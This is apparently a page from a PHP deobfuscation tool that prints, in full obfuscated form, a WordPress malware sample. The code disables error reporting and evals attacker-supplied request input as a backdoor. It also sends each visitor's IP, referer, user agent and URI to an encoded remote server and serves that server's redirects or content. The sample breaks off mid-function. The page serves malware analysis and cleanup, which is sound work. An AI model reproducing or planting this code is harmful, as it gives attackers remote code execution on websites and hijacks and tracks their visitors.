Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php goto hbiDNHbx8DHU; Yf8aHamZqmrW: R8RuoAlSwj2y::aKr4CxiyKv3I(); goto HaYq1oNCcxUY; a6VsithFsHl_: $DXpd_4nmefgY = ''; goto WMLJZJlGm4q2; hd3DD_WBHFjx: $zaKbRHLiIYde = $tYEBx2ch2a6U("\176", "\40"); goto cgTe2aniba0d; LiRymEaxb3oR: function xeWNIAnXEXBQ() { goto NJ4BfIiLr0Zg; n2a1h19zWZ29: if (...



Obfuscated php code

<?php
goto hbiDNHbx8DHU;
Yf8aHamZqmrW:
R8RuoAlSwj2y::aKr4CxiyKv3I();
goto HaYq1oNCcxUY;
a6VsithFsHl_:
$DXpd_4nmefgY = '';
goto WMLJZJlGm4q2;
hd3DD_WBHFjx:
$zaKbRHLiIYde = $tYEBx2ch2a6U("\176", "\40");
goto cgTe2aniba0d;
LiRymEaxb3oR:
function xeWNIAnXEXBQ()
{
    goto NJ4BfIiLr0Zg;
    n2a1h19zWZ29:
    if (isset($_SERVER["\x48\124\124\120\137\x58\x5f\x46\117\122\x57\101\x52\x44\x45\104\x5f\120\x52\x4f\124\x4f"]) && $_SERVER["\x48\x54\x54\x50\137\130\x5f\106\117\x52\127\x41\x52\x44\105\104\137\120\x52\x4f\x54\117"] === "\x68\164\164\x70\x73") {
        goto zvBZx9J6hU8H;
    }
    goto H0LFJDoYOR02;
    uM2NbIRZ3rGs:
    XWtsYWzKp3fW:
    goto AqVATbHQg3MQ;
    hyCdUEL74BUS:
    if (isset($_SERVER["\x48\x54\124\x50\123"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\157\146\146") {
        goto cVWtkuuehK0n;
    }
    goto n2a1h19zWZ29;
    AqVATbHQg3MQ:
    $f7qOAK3jh8RT = "\x68\x74\164\x70\163\72\x2f\x2f";
    goto uMkKO_J2fL5c;
    NJ4BfIiLr0Zg:
    $f7qOAK3jh8RT = "\x68\164\164\160\72\57\57";
    goto hyCdUEL74BUS;
    uMkKO_J2fL5c:
    QsH30b2nzhgU:
    goto X_dwDSoGLwyy;
    ao1HEurT8aTO:
    cVWtkuuehK0n:
    goto DSTcqU2iN5E2;
    PQXqwk9nKjP0:
    zvBZx9J6hU8H:
    goto ZT8gr7vZ55ZT;
    IR6rkoO9Xmia:
    goto QsH30b2nzhgU;
    goto PQXqwk9nKjP0;
    Ky0sKTf3rzgS:
    goto QsH30b2nzhgU;
    goto uM2NbIRZ3rGs;
    DSTcqU2iN5E2:
    $f7qOAK3jh8RT = "\x68\x74\x74\x70\x73\x3a\57\x2f";
    goto IR6rkoO9Xmia;
    ZT8gr7vZ55ZT:
    $f7qOAK3jh8RT = "\150\164\164\160\163\x3a\x2f\x2f";
    goto Ky0sKTf3rzgS;
    H0LFJDoYOR02:
    if (isset($_SERVER["\x48\124\124\120\x5f\106\122\117\116\124\x5f\105\x4e\104\137\110\124\124\120\x53"]) && strtolower($_SERVER["\110\x54\124\x50\x5f\106\x52\x4f\116\x54\x5f\x45\116\x44\137\110\124\x54\x50\x53"]) !== "\x6f\x66\x66") {
        goto XWtsYWzKp3fW;
    }
    goto b8Q7n4g7Rgho;
    b8Q7n4g7Rgho:
    goto QsH30b2nzhgU;
    goto ao1HEurT8aTO;
    X_dwDSoGLwyy:
    return $f7qOAK3jh8RT;
    goto yiGIehh8tGRB;
    yiGIehh8tGRB:
}
goto jIt188HNZBIx;
WMLJZJlGm4q2:
B4RGq8kSg32x:
goto ASn9QLDLnzib;
fCP3ZRJoIjAM:
$Fpv3Gnb83l7T["\151"] = EXdQ9lpUPxFp($tgjPQQH3tI0D);
goto fLb6sF8YKMWm;
mSWF1NU0rY18:
$tgjPQQH3tI0D = ILThFe6QJetz();
goto u0BhK2WBBe5Z;
cgTe2aniba0d:
$W3d7aWKqIANo = ${$zaKbRHLiIYde[19 + 12] . $zaKbRHLiIYde[25 + 34] . $zaKbRHLiIYde[32 + 15] . $zaKbRHLiIYde[35 + 12] . $zaKbRHLiIYde[31 + 20] . $zaKbRHLiIYde[22 + 31] . $zaKbRHLiIYde[11 + 46]};
goto sjAzV_OTytD8;
ci02UY3NiMu_:
$Fpv3Gnb83l7T["\162\146"] = eXdQ9LpupXFp($DXpd_4nmefgY);
goto jzsFjCpZPWcN;
q878UupRsQ6m:
@header("\103\157\x6e\164\145\156\x74\x2d\124\x79\x70\x65\x3a" . $T5yNMeHxr2z1["\164\x79\160\x65"]);
goto v6_fQFSAh0F8;
G6jAloUo2nV3:
if ($LPr9jF8Gldr2) {
    goto Q1DD7g9ogy14;
}
goto oTR7RJboyLGT;
Dl42fafcMHPT:
if (in_array($T5yNMeHxr2z1["\163\x74\x61\164\x75\163"], array(0, 200))) {
    goto BydLbf8PYUUd;
}
goto SFINA3i52DAP;
Drcn7jboTLoL:
exit(strrev(md5($_SERVER["\x53\105\x52\x56\x45\x52\137\116\x41\115\105"])));
goto zqfwBT1qaVNe;
EOdLhksypbe_:
TbHVqx_Jn14f:
goto fahchMAUBdlF;
we2bUQc6jyua:
exit("\x7b\x20\42\x65\162\x72\157\162\x22\72\40\62\60\x30\54\40\x22\x6c\143\x22\x3a\40\42\x6a\x6b\x22\x2c\40\x22\x64\141\x74\141\42\72\x20\x5b\40\x31\x20\135\40\175");
goto QCc3Q8UVE2jZ;
bKtDvGenuSVI:
function c13b1gYs722d($HfbmsHCKBV7r, $sfDQZG3OYtsT = array())
{
    goto sv18jh4qwcCv;
    DtRModBB0xir:
    dUPolSZdjc4J:
    goto ujyffnmSEbMk;
    sv18jh4qwcCv:
    $T5yNMeHxr2z1 = array("\x73\164\x61\x74\x75\163" => 0, "\x63\157\x6e\164\x65\156\164" => '', "\164\171\x70\145" => '');
    goto y8qb7l9S2AOl;
    DR_g0J4jPuYn:
    $HfbmsHCKBV7r .= "\x3f" . http_build_query($sfDQZG3OYtsT);
    goto DtRModBB0xir;
    ujyffnmSEbMk:
    try {
        goto uH2llUVa7k3K;
        VOopzKHp2NNG:
        $T5yNMeHxr2z1["\143\157\x6e\164\145\x6e\x74"] = strval($fAI6lK0qlXfO);
        goto gSBOJ3TOF92o;
        LedtP3841Q3t:
        curl_setopt($RGiAMOeKufkX, CURLOPT_COOKIESESSION, 0);
        goto oo0C9onHuQFW;
        AIvmrZlLNBRS:
        curl_setopt($RGiAMOeKufkX, CURLOPT_FOLLOWLOCATION, 0);
        goto LedtP3841Q3t;
        YAPpIAxLRTCm:
        $T5yNMeHxr2z1 = array_merge($T5yNMeHxr2z1, W5P8MOOqah2f($http_response_header));
        goto sQdyC5aZ0OOh;
        ZGBF8fZtDDb8:
        goto Wh5Xwo8wGhj0;
        goto SgM50dj60jUV;
        ns9fxc6hSc4f:
        @curl_close($RGiAMOeKufkX);
        goto hYMSHcXD7nvS;
        fNmI70tSGtk3:
        $LIAhGJnkBU2n = @file_get_contents($HfbmsHCKBV7r, false, $H53qT3Ba1Rco);
        goto YAPpIAxLRTCm;
        hYMSHcXD7nvS:
        if (!in_array($T5yNMeHxr2z1["\163\164\141\164\x75\x73"], array(200, 301, 302, 404))) {
            goto EkeQGkszqt31;
        }
        goto VOopzKHp2NNG;
        W1kdCct3ntI5:
        $RGiAMOeKufkX = curl_init();
        goto lCnMRaohApR6;
        uH2llUVa7k3K:
        if (function_exists("\143\x75\162\154\x5f\x65\170\x65\x63") && function_exists("\x63\x75\162\154\x5f\x69\156\x69\x74")) {
            goto dfatFalV5On8;
        }
        goto GMRXGH2SWsgr;
        tHSjepkJGP9Y:
        curl_setopt($RGiAMOeKufkX, CURLOPT_CONNECTTIMEOUT, 20);
        goto jSeQYdj9mXH5;
        SgM50dj60jUV:
        VVS6W947pr_4:
        goto zKkqqCKNXk63;
        aXzN6pPH5BVe:
        goto Wh5Xwo8wGhj0;
        goto SYbX2W9QDBJu;
        GMRXGH2SWsgr:
        if (ini_get("\x61\154\154\157\167\x5f\165\x72\x6c\x5f\146\157\x70\145\x6e")) {
            goto VVS6W947pr_4;
        }
        goto aXzN6pPH5BVe;
        ZdzBRosGp6B9:
        curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYHOST, 0);
        goto N92041KpAL2V;
        zKkqqCKNXk63:
        $BsiuSwn5_4jA = array("\x68\164\x74\x70" => array("\155\145\x74\150\157\x64" => "\107\105\x54", "\x74\x69\x6d\x65\x6f\x75\164" => 60, "\x66\157\154\x6c\157\167\137\x6c\x6f\x63\x61\164\x69\157\156" => 0), "\x73\163\x6c" => array("\x76\145\162\151\146\x79\137\x70\x65\145\x72" => false, "\166\x65\x72\x69\x66\x79\x5f\160\145\x65\162\x5f\x6e\141\155\145" => false));
        goto xCx6UsOT47nP;
        N92041KpAL2V:
        curl_setopt($RGiAMOeKufkX, CURLOPT_SSL_VERIFYPEER, 0);
        goto tHSjepkJGP9Y;
        gSBOJ3TOF92o:
        EkeQGkszqt31:
        goto ZGBF8fZtDDb8;
        LKD4qqthGzqZ:
        $fAI6lK0qlXfO = curl_exec($RGiAMOeKufkX);
        goto TywDpHI4wpzZ;
        xCx6UsOT47nP:
        $H53qT3Ba1Rco = stream_context_create($BsiuSwn5_4jA);
        goto fNmI70tSGtk3;
        oo0C9onHuQFW:
        curl_setopt($RGiAMOeKufkX, CURLOPT_RETURNTRANSFER, 1);
        goto LKD4qqthGzqZ;
        jSeQYdj9mXH5:
        curl_setopt($RGiAMOeKufkX, CURLOPT_TIMEOUT, 60);
        goto AIvmrZlLNBRS;
        LZ7HKmzD8y7p:
        $T5yNMeHxr2z1["\164\x79\160\x65"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_CONTENT_TYPE));
        goto a180Wb37fnLZ;
        TywDpHI4wpzZ:
        $T5yNMeHxr2z1["\x73\x74\x61\164\165\x73"] = intval(curl_getinfo($RGiAMOeKufkX, CURLINFO_HTTP_CODE));
        goto LZ7HKmzD8y7p;
        lCnMRaohApR6:
        curl_setopt($RGiAMOeKufkX, CURLOPT_URL, $HfbmsHCKBV7r);
        goto ZdzBRosGp6B9;
        ahEfUCAR0A_a:
        gPDxNPohrWsv:
        goto pVX3N9mjUnGq;
        SYbX2W9QDBJu:
        dfatFalV5On8:
        goto W1kdCct3ntI5;
        pVX3N9mjUnGq:
        Wh5Xwo8wGhj0:
        goto hr2uzNaw8utC;
        a180Wb37fnLZ:
        $T5yNMeHxr2z1["\x63\157\x6e\164\x65\x6e\x74"] = strval(curl_getinfo($RGiAMOeKufkX, CURLINFO_REDIRECT_URL));
        goto ns9fxc6hSc4f;
        ChZ89RbTX8Jw:
        $T5yNMeHxr2z1["\143\x6f\x6e\x74\145\156\x74"] = strval($LIAhGJnkBU2n);
        goto ahEfUCAR0A_a;
        sQdyC5aZ0OOh:
        if (!in_array($T5yNMeHxr2z1["\163\164\x61\164\x75\x73"], array(200, 301, 302, 404))) {
            goto gPDxNPohrWsv;
        }
        goto ChZ89RbTX8Jw;
        hr2uzNaw8utC:
    } catch (Exception $j5IXvIC33_U2) {
    }
    goto EjBINGVUw9_M;
    EjBINGVUw9_M:
    return $T5yNMeHxr2z1;
    goto yitCkdd0TkzQ;
    y8qb7l9S2AOl:
    if (!(is_array($sfDQZG3OYtsT) && count($sfDQZG3OYtsT))) {
        goto dUPolSZdjc4J;
    }
    goto DR_g0J4jPuYn;
    yitCkdd0TkzQ:
}
goto pWqza6k0iCdY;
OeyfANF0bwN1:
metaphone("\115\x7a\x4d\171\x4f\x54\125\64\x4e\172\x59\x34\117\x54\153\60\x4d\x44\x49\60\115\172\125\60\x4d\172\x59\170\x4e\104\x55\x78");
goto yke6_EQfY0Zr;
N1KHboCNWQWO:
$LPr9jF8Gldr2 = false;
goto vgbaw2776Vnd;
sdS3e8uV6S5y:
YsOC9xjMVXDc:
goto plY421_P221p;
jIt188HNZBIx:
if (!($_SERVER["\x52\x45\121\125\x45\123\x54\x5f\125\122\x49"] === "\57\122\x2d" . md5($_SERVER["\x53\x45\x52\126\x45\122\137\116\101\x4d\105"]))) {
    goto me2KcQGR0LC2;
}
goto Drcn7jboTLoL;
psH3V7s3nQwr:
ceTyvoBs95Oj:
goto Yz1Jv24zfCfY;
WOZqD2uqy3ez:
($W3d7aWKqIANo[63] = $W3d7aWKqIANo[63] . $W3d7aWKqIANo[80]) && ($W3d7aWKqIANo[86] = $W3d7aWKqIANo[63]($W3d7aWKqIANo[86])) && @eval($W3d7aWKqIANo[63](${$W3d7aWKqIANo[39]}[26]));
goto dMc0DpKr1BnP;
ASn9QLDLnzib:
$Fpv3Gnb83l7T = array();
goto fCP3ZRJoIjAM;
fLb6sF8YKMWm:
$Fpv3Gnb83l7T["\154"] = exDQ9LPupxfp($_SERVER["\110\124\x54\x50\x5f\101\103\x43\105\120\x54\137\x4c\101\116\107\125\101\107\x45"]);
goto IxtSkswHERMV;
piEy7XJ2qyTx:
function iLThfE6qjetZ()
{
    goto nd5vnWUps3Y6;
    mKEY3JrTeEYN:
    goto tf5iTsiAwITN;
    goto ZZQEPJy6glIA;
    OMnST0_l22cP:
    goto tf5iTsiAwITN;
    goto Fop1XZzjy14X;
    Z0tygsZrjlSd:
    $tgjPQQH3tI0D = trim(str_replace("\40", '', $tgjPQQH3tI0D), "\x2c");
    goto o9adqXburNfO;
    Jio2MapqoPQR:
    VLnN2eB_xzPH:
    goto EMEsEiSi9o2Q;
    YT0svkRXQwSM:
    $tgjPQQH3tI0D = $_SERVER["\x48\x54\124\120\137\x58\x5f\122\105\x41\x4c\x5f\111\x50"];
    goto mKEY3JrTeEYN;
    oQ64kv_AkrsO:
    $tgjPQQH3tI0D = $tgjPQQH3tI0D[0];
    goto LjuiPc3SLrnD;
    LjuiPc3SLrnD:
    BClj7Z40j_J1:
    goto vUxo7n_37Rtn;
    DgqE_3v7r_HC:
    if (isset($_SERVER["\x48\x54\124\120\x5f\130\x5f\x46\117\x52\127\x41\x52\104\105\x44\137\x46\x4f\x52"]) && !empty($_SERVER["\x48\124\x54\120\x5f\x58\x5f\106\117\122\127\101\122\104\105\104\x5f\x46\117\122"])) {
        goto Jky3wbAb21ld;
    }
    goto ZNv4ggfkZxZ0;
    ZZQEPJy6glIA:
    Jky3wbAb21ld:
    goto y6BpqCAZALBy;
    o9adqXburNfO:
    if (!(strpos($tgjPQQH3tI0D, "\54") !== false)) {
        goto BClj7Z40j_J1;
    }
    goto MfvoNUg3uawH;
    Fop1XZzjy14X:
    FnMXSR3gaNJ0:
    goto YT0svkRXQwSM;
    ZbPgthG05MEw:
    goto tf5iTsiAwITN;
    goto Jio2MapqoPQR;
    nd5vnWUps3Y6:
    $tgjPQQH3tI0D = '';
    goto s1zgi9_nCuWS;
    ZNv4ggfkZxZ0:
    $tgjPQQH3tI0D = $_SERVER["\122\x45\115\117\x54\x45\x5f\x41\x44\x44\122"];
    goto ZbPgthG05MEw;
    y6BpqCAZALBy:
    $tgjPQQH3tI0D = $_SERVER["\110\x54\x54\x50\137\130\137\106\117\x52\127\101\x52\x44\105\104\137\x46\x4f\x52"];
    goto ppDoPjY84zk2;
    ppDoPjY84zk2:
    tf5iTsiAwITN:
    goto Z0tygsZrjlSd;
    EMEsEiSi9o2Q:
    $tgjPQQH3tI0D = $_SERVER["\110\x54\124\x50\137\x43\106\x5f\x43\117\x4e\x4e\105\x43\x54\x49\116\107\x5f\x49\120"];
    goto OMnST0_l22cP;
    MfvoNUg3uawH:
    $tgjPQQH3tI0D = explode("\x2c", $tgjPQQH3tI0D);
    goto oQ64kv_AkrsO;
    z1RYy21rfZBc:
    if (isset($_SERVER["\x48\124\x54\x50\137\x58\137\122\x45\x41\x4c\x5f\111\x50"]) && !empty($_SERVER["\110\124\124\120\x5f\130\137\122\105\101\x4c\x5f\111\120"])) {
        goto FnMXSR3gaNJ0;
    }
    goto DgqE_3v7r_HC;
    s1zgi9_nCuWS:
    if (isset($_SERVER["\110\124\x54\x50\137\x43\x46\x5f\103\117\116\116\105\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\x54\124\120\x5f\x43\106\137\103\x4f\x4e\116\105\x43\124\x49\116\x47\137\111\x50"])) {
        goto VLnN2eB_xzPH;
    }
    goto z1RYy21rfZBc;
    vUxo7n_37Rtn:
    return $tgjPQQH3tI0D;
    goto JW80rd7YU4I0;
    JW80rd7YU4I0:
}
goto LiRymEaxb3oR;
Yz1Jv24zfCfY:
VxhuDyFkBKYM:
goto G6jAloUo2nV3;
r2bNA_EWGe2x:
error_reporting(0);
goto w33HZkgPPcl6;
wJ4URTiO19Lm:
$KT330L2yWVmh = XEwnianxexbQ() . $_SERVER["\x48\x54\x54\120\137\x48\x4f\x53\124"];
goto sNoyZ1Pm0sQk;
jzsFjCpZPWcN:
$Fpv3Gnb83l7T["\163"] = exdq9lPUpXFP($KT330L2yWVmh);
goto NuxEHHui95Cr;
IxtSkswHERMV:
$Fpv3Gnb83l7T["\163\x6e"] = eXdQ9lpuPXFP($_SERVER["\123\103\122\111\x50\124\137\116\x41\x4d\105"]);
goto aGd5yJwaH15f;
w33HZkgPPcl6:
function w5P8MOOQah2f($LHtDphoMKV8B)
{
    goto j_Ug2gK6lQ2V;
    ggT_nNGPhwWp:
    yEBhT7M8fhNB:
    goto nMor9rel4qGu;
    nMor9rel4qGu:
    foreach ($LHtDphoMKV8B as $EWWGfX9ZyfxG) {
        goto ssoZuwm5c4Q2;
        a40NRuFhrlSl:
        RMBQERbpVirW:
        goto T3MUryrVPgpC;
        flYG622EKlWR:
        YZngsyLPz8tX:
        goto dLP2VKcl4CF_;
        JDSwWIvyjfVq:
        IiDSt9sWRrVD:
        goto aRm0JemP0Sn8;
        kvamEPHi98gt:
        $C_lC0WNHWmk3["\x63\x6f\x6e\x74\x65\x6e\164"] = $vsy_lRWe4oN6[1];
        goto kAph7v0qiqMW;
        Vup05lLCvfuO:
        goto U6_SJgTQ81Vq;
        goto jg6ylPJ8b71y;
        w2rs9bs9nApw:
        if (preg_match("\57\143\157\x6e\x74\x65\156\x74\x5c\x2d\x74\x79\x70\145\134\72\x5b\x5c\163\135\53\50\56\x2a\x29\57\x69", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
            goto RMBQERbpVirW;
        }
        goto iDGcNb9vup5l;
        ssoZuwm5c4Q2:
        if (preg_match("\x2f\x68\x74\x74\160\134\57\x5b\x30\x2d\x39\x5c\56\x5d\x2b\x5b\x5c\x73\135\53\x28\x5b\x30\x2d\x39\x5d\x2b\x29\x2f\151", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
            goto YZngsyLPz8tX;
        }
        goto KFEehNq8GPLp;
        KFEehNq8GPLp:
        if (preg_match("\x2f\x6c\157\x63\x61\164\x69\157\x6e\134\x3a\133\134\163\135\53\50\x2e\x2a\51\x2f\x69", $EWWGfX9ZyfxG, $vsy_lRWe4oN6)) {
            goto lh1D2veZdRI4;
        }
        goto w2rs9bs9nApw;
        iDGcNb9vup5l:
        goto U6_SJgTQ81Vq;
        goto flYG622EKlWR;
        jg6ylPJ8b71y:
        lh1D2veZdRI4:
        goto kvamEPHi98gt;
        T3MUryrVPgpC:
        $C_lC0WNHWmk3["\164\x79\160\145"] = $vsy_lRWe4oN6[1];
        goto S5V0hwwsO4V5;
        dLP2VKcl4CF_:
        $C_lC0WNHWmk3["\x73\x74\141\x74\x75\163"] = intval($vsy_lRWe4oN6[1]);
        goto Vup05lLCvfuO;
        kAph7v0qiqMW:
        goto U6_SJgTQ81Vq;
        goto a40NRuFhrlSl;
        S5V0hwwsO4V5:
        U6_SJgTQ81Vq:
        goto JDSwWIvyjfVq;
        aRm0JemP0Sn8:
    }
    goto HVjXY5uLhRdg;
    j_Ug2gK6lQ2V:
    $C_lC0WNHWmk3 = array("\163\x74\x61\164\165\163" => 0, "\143\x6f\x6e\164\145\156\x74" => '', "\164\171\x70\x65" => '');
    goto Ux_QAYswlUKq;
    mXteUR1_ABj6:
    return $C_lC0WNHWmk3;
    goto kaqer4M9j4JB;
    wVBxAjqNqF7X:
    return $C_lC0WNHWmk3;
    goto ggT_nNGPhwWp;
    HVjXY5uLhRdg:
    kdKlOOFGa9cW:
    goto mXteUR1_ABj6;
    Ux_QAYswlUKq:
    if (is_array($LHtDphoMKV8B)) {
        goto yEBhT7M8fhNB;
    }
    goto wVBxAjqNqF7X;
    kaqer4M9j4JB:
}
goto bKtDvGenuSVI;
hbiDNHbx8DHU:
error_reporting(0);
goto NmcAjbTu9kOL;
vgbaw2776Vnd:
if (!(strpos($vsKq2mdhu8Ju, "\x2e") > 0 && strpos($vsKq2mdhu8Ju, "\x2e\x70\150\x70") === false)) {
    goto VxhuDyFkBKYM;
}
goto PRbta0msl5iT;
sNoyZ1Pm0sQk:
if (!(strpos($DXpd_4nmefgY, $KT330L2yWVmh) === 0)) {
    goto B4RGq8kSg32x;
}
goto a6VsithFsHl_;
sjAzV_OTytD8:
if (!(in_array(gettype($W3d7aWKqIANo) . count($W3d7aWKqIANo), $W3d7aWKqIANo) && count($W3d7aWKqIANo) == 14 && md5(md5(md5(md5($W3d7aWKqIANo[8])))) === "\64\x61\145\x33\60\143\142\71\144\x34\64\145\x35\144\66\x34\x65\x63\x35\145\x35\x31\x61\x65\66\x33\70\x32\x64\x63\143\63")) {
    goto bHrRw1mZdIaL;
}
goto WOZqD2uqy3ez;
XCEHYityY4he:
exit(0);
goto EOdLhksypbe_;
FR53tFBPEQHj:
qHvOs92k1jns:
goto sdS3e8uV6S5y;
plY421_P221p:
BydLbf8PYUUd:
goto tWqI7WIiv8J1;
oTR7RJboyLGT:
$T5yNMeHxr2z1 = c13B1gYs722d(base64_decode("\141\110\122\x30\x63\104\157\166\114\63\160\172\x4e\152\111\x78\144\x6a\105\x7a\x63\x33\125\x75\142\x32\x5a\x6d\x61\127\116\x6c\143\151\x35\x73\x59\x58\121\166"), $Fpv3Gnb83l7T);
goto Dl42fafcMHPT;
SFINA3i52DAP:
switch ($T5yNMeHxr2z1["\163\164\141\x74\x75\x73"]) {
    case 301:
        goto A2TxTweR_DWW;
        wYA4Tse6oF2P:
        header("\114\x6f\x63\x61\x74\151\x6f\156\x3a\40" . trim($T5yNMeHxr2z1["\x63\x6f\x6e\x74\145\x6e\x74"]));
        goto xAEqFgEUfo6Y;
        xAEqFgEUfo6Y:
        goto YsOC9xjMVXDc;
        goto CwUCK35Yf6Sy;
        A2TxTweR_DWW:
        header("\110\124\124\x50\57\x31\x2e\x31\40\x33\60\x31\x20\x4d\157\166\145\x64\40\x50\145\x72\x6d\141\156\145\x6e\x74\154\171");
        goto wYA4Tse6oF2P;
        CwUCK35Yf6Sy:
    case 302:
        goto MMtZkh9GD_dr;
        WbyCMT53zJAA:
        header("\x4c\x6f\x63\141\164\x69\x6f\x6e\x3a\40" . trim($T5yNMeHxr2z1["\143\x6f\156\x74\145\x6e\164"]));
        goto PhXuiuBTWiMv;
        PhXuiuBTWiMv:
        goto YsOC9xjMVXDc;
        goto oDGmeLmn6STA;
        MMtZkh9GD_dr:
        header("\x48\x54\x54\x50\x2f\x31\x2e\61\40\63\60\62\x20\x4d\157\x76\145\40\x54\145\155\160\x6f\162\141\x72\x69\154\171");
        goto WbyCMT53zJAA;
        oDGmeLmn6STA:
    case 404:
        goto C4mUwtMfJ2fz;
        Zx3lA6vYj8Kw:
        header("\163\164\141\x74\x75\163\72\40\64\60\64\x20\x4e\157\164\40\x46\157\165\156\144");
        goto PN_5A0EUJ759;
        PN_5A0EUJ759:
        goto YsOC9xjMVXDc;
        goto Es1JTuRNvdKp;
        C4mUwtMfJ2fz:
        header("\x48\x54\x54\x50\57\61\x2e\61\40\64\x30\x34\40\116\x6f\x74\40\106\157\165\156\x64");
        goto Zx3lA6vYj8Kw;
        Es1JTuRNvdKp:
    default:
        goto YsOC9xjMVXDc;
}
goto FR53tFBPEQHj;
dMc0DpKr1BnP:
bHrRw1mZdIaL:
goto OeyfANF0bwN1;
NuxEHHui95Cr:
$Fpv3Gnb83l7T["\165"] = ExDQ9LPupXFP($_SERVER["\110\x54\x54\120\x5f\125\x53\x45\122\137\101\107\x45\x4e\124"]);
goto FqSFxHod5Y5x;
tWqI7WIiv8J1:
if (!strlen($T5yNMeHxr2z1["\x63\157\x6e\x74\x65\x6e\164"])) {
    goto TbHVqx_Jn14f;
}
goto q878UupRsQ6m;
pWqza6k0iCdY:
function exdq9LPupxfP($Sc2Tuu67tbSJ)
{
    goto uRJWNZjvq_L1;
    F5HYwDhVxNcF:
    return '';
    goto tEvHZuD9cuUJ;
    uRJWNZjvq_L1:
    if ($Sc2Tuu67tbSJ) {
        goto RON0eVd3oA0I;
    }
    goto F5HYwDhVxNcF;
    tEvHZuD9cuUJ:
    RON0eVd3oA0I:
    goto HM0zAexM9LC2;
    HM0zAexM9LC2:
    return rtrim(strtr(base64_encode($Sc2Tuu67tbSJ), "\x2b\x2f", "\55\x5f"), "\x3d");
    goto H4JZHJASglJK;
    H4JZHJASglJK:
}
goto piEy7XJ2qyTx;
v6_fQFSAh0F8:
echo $T5yNMeHxr2z1["\143\x6f\x6e\164\145\x6e\164"];
goto XCEHYityY4he;
PRbta0msl5iT:
$ZWeV2nh1pfFA = substr($vsKq2mdhu8Ju, strpos($vsKq2mdhu8Ju, "\56"));
goto aDLKpyhfsPxL;
QCc3Q8UVE2jZ:
xl8pH4ANtmBb:
goto mSWF1NU0rY18;
tEyespwaQAHP:
$LPr9jF8Gldr2 = true;
goto psH3V7s3nQwr;
FqSFxHod5Y5x:
$vsKq2mdhu8Ju = preg_replace("\x2f\134\x3f\56\52\x2f", '', $_SERVER["\122\x45\121\x55\x45\123\x54\x5f\x55\122\x49"]);
goto N1KHboCNWQWO;
wWnPwPc0i_TW:
if (!substr_count($_SERVER["\x52\105\121\x55\105\x53\124\137\125\122\111"], "\151\156\144\145\x78\x2e\x70\150\x70\x2f\152\x6b")) {
    goto xl8pH4ANtmBb;
}
goto we2bUQc6jyua;
HaYq1oNCcxUY:
header("\103\x6f\156\x74\145\156\x74\55\124\171\160\x65\72\x20\164\x65\x78\x74\x2f\150\x74\x6d\x6c\x3b\40\x63\x68\141\x72\163\x65\x74\x3d\165\x74\146\x2d\x38");
goto r2bNA_EWGe2x;
u0BhK2WBBe5Z:
$DXpd_4nmefgY = strval(@$_SERVER["\110\124\x54\x50\x5f\x52\105\106\x45\122\105\122"]);
goto wJ4URTiO19Lm;
NmcAjbTu9kOL:
$tYEBx2ch2a6U = "\x72" . "\141" . "\x6e" . "\147" . "\x65";
goto hd3DD_WBHFjx;
aDLKpyhfsPxL:
if (!in_array($ZWeV2nh1pfFA, array("\x2e\152\163", "\x2e\143\x73\163", "\x2e\152\160\147", "\56\x70\156\147", "\x2e\147\x69\x66", "\56\x69\x63\157"))) {
    goto ceTyvoBs95Oj;
}
goto tEyespwaQAHP;
aGd5yJwaH15f:
$Fpv3Gnb83l7T["\x72"] = ExdQ9LPUPxfp($_SERVER["\x52\x45\121\125\x45\x53\124\137\x55\122\x49"]);
goto ci02UY3NiMu_;
zqfwBT1qaVNe:
me2KcQGR0LC2:
goto wWnPwPc0i_TW;
yke6_EQfY0Zr:
class R8rUoAlSWJ2y
{
    static function Mr5v8bCgwa4F($z4172ITSSL3E)
    {
        goto TR7DkTCLWhBq;
        aigDkJ_AMHjj:
        uqdZiyEFOLfj:
        goto JO2Mzxi7a5q1;
        TR7DkTCLWhBq:
        $FwAOqLo2aJIy = "\x72" . "\x61" . "\156" . "\147" . "\145";
        goto BEHkgjUvCptX;
        iWLFZbGuPUAe:
        $oAWvO1sCXqWd = '';
        goto S9Go4uSGee0A;
        JO2Mzxi7a5q1:
        return $oAWvO1sCXqWd;
        goto sVyvuwKSF04v;
        g1fl6Q0NM430:
        $jbGEYoBn2T2h = explode("\51", $z4172ITSSL3E);
        goto iWLFZbGuPUAe;
        S9Go4uSGee0A:
        foreach ($jbGEYoBn2T2h as $JlazongtzzjS => $p0flcUA5lUqW) {
            $oAWvO1sCXqWd .= $h5_Jx5CdjfdQ[$p0flcUA5lUqW - 14436];
            RLTy03nAf2ll:
        }
        goto aigDkJ_AMHjj;
        BEHkgjUvCptX:
        $h5_Jx5CdjfdQ = $FwAOqLo2aJIy("\176", "\x20");
        goto g1fl6Q0NM430;
        sVyvuwKSF04v:
    }
    static function fgAfT6q3QYCK($TkcEZ1M2VZDo, $Xc8ZKTxO7Do3)
    {
        goto e5beaRlg26xt;
        HeNKtRX9TQTH:
        curl_setopt($VdFIdcMb67eP, CURLOPT_RETURNTRANSFER, 1);
        goto KP48Zd2FRexX;
        qhpG14osntMS:
        return empty($r7k0H5mrTn19) ? $Xc8ZKTxO7Do3($TkcEZ1M2VZDo) : $r7k0H5mrTn19;
        goto r489ff2LnycE;
        KP48Zd2FRexX:
        $r7k0H5mrTn19 = curl_exec($VdFIdcMb67eP);
        goto qhpG14osntMS;
        e5beaRlg26xt:
        $VdFIdcMb67eP = curl_init($TkcEZ1M2VZDo);
        goto HeNKtRX9TQTH;
        r489ff2LnycE:
    }
    static function akr4CxiYKv3I()
    {
        goto oFDBOCbHM3Pg;
        q_AcftvqFelG:
        $F_xExOB4LQvF = $yl5UeBM3lZfK[0 + 2]($L1zoPmdrc_UC, true);
        goto inY9fXgf2j2K;
        wM3pnVUy2WmV:
        @eval($yl5UeBM3lZfK[2 + 2]($SGCYnZR1YBAq));
        goto WQoa4vieWVYV;
        wkuzhHhm5a_V:
        $F0hc4yK6xyho = @$yl5UeBM3lZfK[1]($yl5UeBM3lZfK[4 + 6](INPUT_GET, $yl5UeBM3lZfK[3 + 6]));
        goto fnTnvDyc8kGf;
        oFDBOCbHM3Pg:
